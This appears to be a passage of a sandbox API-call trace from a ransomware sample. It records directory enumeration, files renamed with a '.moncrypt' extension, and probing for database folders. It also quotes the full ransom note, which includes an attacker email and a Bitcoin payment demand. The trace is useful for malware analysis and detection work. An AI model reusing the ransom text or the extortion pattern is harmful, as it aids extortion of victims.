GlobalHandle (pMem=0x555860) returned 0x440004 [0048.403] GlobalUnlock (hMem=0x440004) returned 0 [0048.403] GlobalHandle (pMem=0x557870) returned 0x44000c [0048.403] GlobalUnlock (hMem=0x44000c) returned 0 [0048.403] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0048.403] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18e49c | out: lpFindFileData=0x18e49c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e1f4e20, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x3e1f4e20, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3e1f4e20, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 0x54e280 [0048.403] FileTimeToLocalFileTime (in: lpFileTime=0x18e4b0, lpLocalFileTime=0x18e430 | out: lpLocalFileTime=0x18e430) returned 1 [0048.403] FileTimeToDosDateTime (in: lpFileTime=0x18e430, lpFatDate=0x18e47e, lpFatTime=0x18e47c | out: lpFatDate=0x18e47e, lpFatTime=0x18e47c) returned 1 [0048.403] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0048.404] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\how to recover encrypted files.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0048.404] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e684*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e684*=0) returned 0x0 [0048.404] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e684*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e684*=0) returned 0x649 [0048.404] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e684*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e684*=0) returned 0x0 [0048.404] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e684*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e684*=0) returned 0x0 [0048.404] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e684*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e684*=0) returned 0x649 [0048.404] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e684*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e684*=0) returned 0x0 [0048.404] ReadFile (in: hFile=0x190, lpBuffer=0x1dcd3b8, nNumberOfBytesToRead=0x649, lpNumberOfBytesRead=0x18e6a8, lpOverlapped=0x0 | out: lpBuffer=0x1dcd3b8*, lpNumberOfBytesRead=0x18e6a8*=0x649, lpOverlapped=0x0) returned 1 [0048.404] CloseHandle (hObject=0x190) returned 1 [0048.404] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf5e95d10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x75e, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0048.404] GetLastError () returned 0x12 [0048.404] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0048.404] GlobalLock (hMem=0x44000c) returned 0x555860 [0048.404] GlobalHandle (pMem=0x555860) returned 0x44000c [0048.404] GlobalUnlock (hMem=0x44000c) returned 0 [0048.405] GlobalLock (hMem=0x44000c) returned 0x555860 [0048.405] GlobalLock (hMem=0x440004) returned 0x557870 [0048.405] GlobalHandle (pMem=0x555860) returned 0x44000c [0048.405] GlobalUnlock (hMem=0x44000c) returned 0 [0048.405] GlobalHandle (pMem=0x557870) returned 0x440004 [0048.405] GlobalUnlock (hMem=0x440004) returned 0 [0048.405] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\*.*", lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf5db14d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x3e1f4e20, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3e1f4e20, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e240 [0048.405] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e748 | out: lpLocalFileTime=0x18e748) returned 1 [0048.405] FileTimeToDosDateTime (in: lpFileTime=0x18e748, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0048.405] GlobalLock (hMem=0x440004) returned 0x555860 [0048.405] GlobalHandle (pMem=0x555860) returned 0x440004 [0048.405] GlobalUnlock (hMem=0x440004) returned 0 [0048.405] GlobalLock (hMem=0x440004) returned 0x555860 [0048.405] GlobalLock (hMem=0x44000c) returned 0x557870 [0048.405] GlobalHandle (pMem=0x555860) returned 0x440004 [0048.405] GlobalUnlock (hMem=0x440004) returned 0 [0048.405] GlobalHandle (pMem=0x557870) returned 0x44000c [0048.405] GlobalUnlock (hMem=0x44000c) returned 0 [0048.405] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0048.405] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf5db14d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x3e1f4e20, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3e1f4e20, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0048.405] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e744 | out: lpLocalFileTime=0x18e744) returned 1 [0048.405] FileTimeToDosDateTime (in: lpFileTime=0x18e744, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0048.405] GlobalLock (hMem=0x44000c) returned 0x555860 [0048.406] GlobalHandle (pMem=0x555860) returned 0x44000c [0048.406] GlobalUnlock (hMem=0x44000c) returned 0 [0048.406] GlobalLock (hMem=0x44000c) returned 0x555860 [0048.406] GlobalLock (hMem=0x440004) returned 0x557870 [0048.406] GlobalHandle (pMem=0x555860) returned 0x44000c [0048.406] GlobalUnlock (hMem=0x44000c) returned 0 [0048.406] GlobalHandle (pMem=0x557870) returned 0x440004 [0048.406] GlobalUnlock (hMem=0x440004) returned 0 [0048.406] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0048.406] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e1f4e20, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x3e1f4e20, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3e1f4e20, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 1 [0048.406] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e744 | out: lpLocalFileTime=0x18e744) returned 1 [0048.406] FileTimeToDosDateTime (in: lpFileTime=0x18e744, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0048.406] GlobalLock (hMem=0x440004) returned 0x555860 [0048.406] GlobalHandle (pMem=0x555860) returned 0x440004 [0048.406] GlobalUnlock (hMem=0x440004) returned 0 [0048.406] GlobalLock (hMem=0x440004) returned 0x555860 [0048.406] GlobalLock (hMem=0x44000c) returned 0x557870 [0048.406] GlobalHandle (pMem=0x555860) returned 0x440004 [0048.406] GlobalUnlock (hMem=0x440004) returned 0 [0048.406] GlobalHandle (pMem=0x557870) returned 0x44000c [0048.406] GlobalUnlock (hMem=0x44000c) returned 0 [0048.406] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0048.406] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8728670, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf5db14d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x665, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPointMUI.XML.moncrypt", cAlternateFileName="POWERP~1.MON")) returned 1 [0048.406] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e744 | out: lpLocalFileTime=0x18e744) returned 1 [0048.406] FileTimeToDosDateTime (in: lpFileTime=0x18e744, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0048.406] GlobalLock (hMem=0x44000c) returned 0x555860 [0048.406] GlobalHandle (pMem=0x555860) returned 0x44000c [0048.406] GlobalUnlock (hMem=0x44000c) returned 0 [0048.406] GlobalLock (hMem=0x44000c) returned 0x555860 [0048.407] GlobalLock (hMem=0x440004) returned 0x557870 [0048.407] GlobalHandle (pMem=0x555860) returned 0x44000c [0048.407] GlobalUnlock (hMem=0x44000c) returned 0 [0048.407] GlobalHandle (pMem=0x557870) returned 0x440004 [0048.407] GlobalUnlock (hMem=0x440004) returned 0 [0048.407] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0048.407] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf5e95d10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x825, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML.moncrypt", cAlternateFileName="SETUPX~1.MON")) returned 1 [0048.407] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e744 | out: lpLocalFileTime=0x18e744) returned 1 [0048.407] FileTimeToDosDateTime (in: lpFileTime=0x18e744, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0048.407] GlobalLock (hMem=0x440004) returned 0x555860 [0048.407] GlobalHandle (pMem=0x555860) returned 0x440004 [0048.407] GlobalUnlock (hMem=0x440004) returned 0 [0048.407] GlobalLock (hMem=0x440004) returned 0x555860 [0048.407] GlobalLock (hMem=0x44000c) returned 0x557870 [0048.407] GlobalHandle (pMem=0x555860) returned 0x440004 [0048.407] GlobalUnlock (hMem=0x440004) returned 0 [0048.407] GlobalHandle (pMem=0x557870) returned 0x44000c [0048.407] GlobalUnlock (hMem=0x44000c) returned 0 [0048.407] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0048.407] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf5e95d10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x825, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML.moncrypt", cAlternateFileName="SETUPX~1.MON")) returned 0 [0048.407] GetLastError () returned 0x12 [0048.407] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0048.408] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbe2e8f80, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xbec48620, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbec48620, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PRJPROR", cAlternateFileName="")) returned 1 [0048.408] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0048.408] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0048.408] GlobalLock (hMem=0x44000c) returned 0x555860 [0048.408] GlobalHandle (pMem=0x555860) returned 0x44000c [0048.408] GlobalUnlock (hMem=0x44000c) returned 0 [0048.408] GlobalLock (hMem=0x44000c) returned 0x555860 [0048.408] GlobalLock (hMem=0x440004) returned 0x557870 [0048.408] GlobalHandle (pMem=0x555860) returned 0x44000c [0048.408] GlobalUnlock (hMem=0x44000c) returned 0 [0048.408] GlobalHandle (pMem=0x557870) returned 0x440004 [0048.408] GlobalUnlock (hMem=0x440004) returned 0 [0048.408] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0048.408] GlobalLock (hMem=0x440004) returned 0x555860 [0048.408] GlobalHandle (pMem=0x555860) returned 0x440004 [0048.408] GlobalUnlock (hMem=0x440004) returned 0 [0048.408] GlobalLock (hMem=0x440004) returned 0x555860 [0048.408] GlobalLock (hMem=0x44000c) returned 0x557870 [0048.408] GlobalHandle (pMem=0x555860) returned 0x440004 [0048.408] GlobalUnlock (hMem=0x440004) returned 0 [0048.408] GlobalHandle (pMem=0x557870) returned 0x44000c [0048.408] GlobalUnlock (hMem=0x44000c) returned 0 [0048.408] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0048.408] SysReAllocStringLen (in: pbstr=0x18ea84*=0x0, psz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR", len=0x57 | out: pbstr=0x18ea84*="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR") returned 1 [0048.409] GlobalLock (hMem=0x44000c) returned 0x555860 [0048.409] GlobalHandle (pMem=0x555860) returned 0x44000c [0048.409] GlobalUnlock (hMem=0x44000c) returned 0 [0048.409] GlobalLock (hMem=0x44000c) returned 0x555860 [0048.409] GlobalLock (hMem=0x440004) returned 0x557870 [0048.409] GlobalHandle (pMem=0x555860) returned 0x44000c [0048.409] GlobalUnlock (hMem=0x44000c) returned 0 [0048.409] GlobalHandle (pMem=0x557870) returned 0x440004 [0048.409] GlobalUnlock (hMem=0x440004) returned 0 [0048.412] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\Microsoft\\Exchange Server", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557870, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69a90, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="䱈@吸U同U企@\x18㿬Q\x18\x1b")) returned 0xffffffff [0048.412] GetLastError () returned 0x3 [0048.413] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\", cchLength=0x58 | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\") returned 0x58 [0048.413] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42920, cbMultiByte=26, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="microsoft\\exchange server\\\x1b") returned 26 [0048.413] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=21, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server\\rver\\ct Edition\\") returned 21 [0048.413] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\Microsoft SQL Server", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557870, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69a90, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꠜR䱠@卜U企@\x18䀴Q\x181")) returned 0xffffffff [0048.413] GetLastError () returned 0x2 [0048.413] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\", cchLength=0x58 | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\") returned 0x58 [0048.413] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42920, cbMultiByte=21, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server\\\x18\x15") returned 21 [0048.413] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=9, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Firebird\\ SQL Server\\rver\\ct Edition\\") returned 9 [0048.414] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\Firebird", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557870, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69a90, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꠜR䱠@翌R企@\x18?T\x18;")) returned 0xffffffff [0048.414] GetLastError () returned 0x2 [0048.414] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\", cchLength=0x58 | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\") returned 0x58 [0048.414] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69ac8, cbMultiByte=9, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="firebird\\") returned 9 [0048.414] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=8, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="MSSQL.1\\\\ SQL Server\\rver\\ct Edition\\") returned 8 [0048.414] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\MSSQL.1", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557870, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69a90, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꠜR䱠@℔R企@\x18?T\x18D")) returned 0xffffffff [0048.414] GetLastError () returned 0x2 [0048.414] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\", cchLength=0x58 | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\") returned 0x58 [0048.415] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69ac8, cbMultiByte=8, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="mssql.1\\ ") returned 8 [0048.415] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=37, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server Compact Edition\\") returned 37 [0048.415] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\Microsoft SQL Server Compact Edition", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557870, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69a90, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꠜR䱠@卜U企@\x18翌R\x18j")) returned 0xffffffff [0048.415] GetLastError () returned 0x2 [0048.415] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\", cchLength=0x58 | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\") returned 0x58 [0048.415] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e05ab0, cbMultiByte=37, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server compact edition\\icrosoft SQL Server Compact Edition\\") returned 37 [0048.415] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Adobe\\oft SQL Server Compact Edition\\") returned 6 [0048.415] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\Adobe", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557870, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69a90, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꠜR䱠@℔R企@\x18?T\x18q")) returned 0xffffffff [0048.416] GetLastError () returned 0x2 [0048.416] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\", cchLength=0x58 | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\") returned 0x58 [0048.416] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69ac8, cbMultiByte=6, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="adobe\\翈RP") returned 6 [0048.416] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Oracle\\ft SQL Server Compact Edition\\") returned 7 [0048.416] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\Oracle", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557870, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69a90, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꠜR䱠@蜄T企@\x18?T\x18y")) returned 0xffffffff [0048.416] GetLastError () returned 0x2 [0048.416] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\", cchLength=0x58 | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\") returned 0x58 [0048.416] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69ac8, cbMultiByte=7, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="oracle\\T ") returned 7 [0048.416] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, 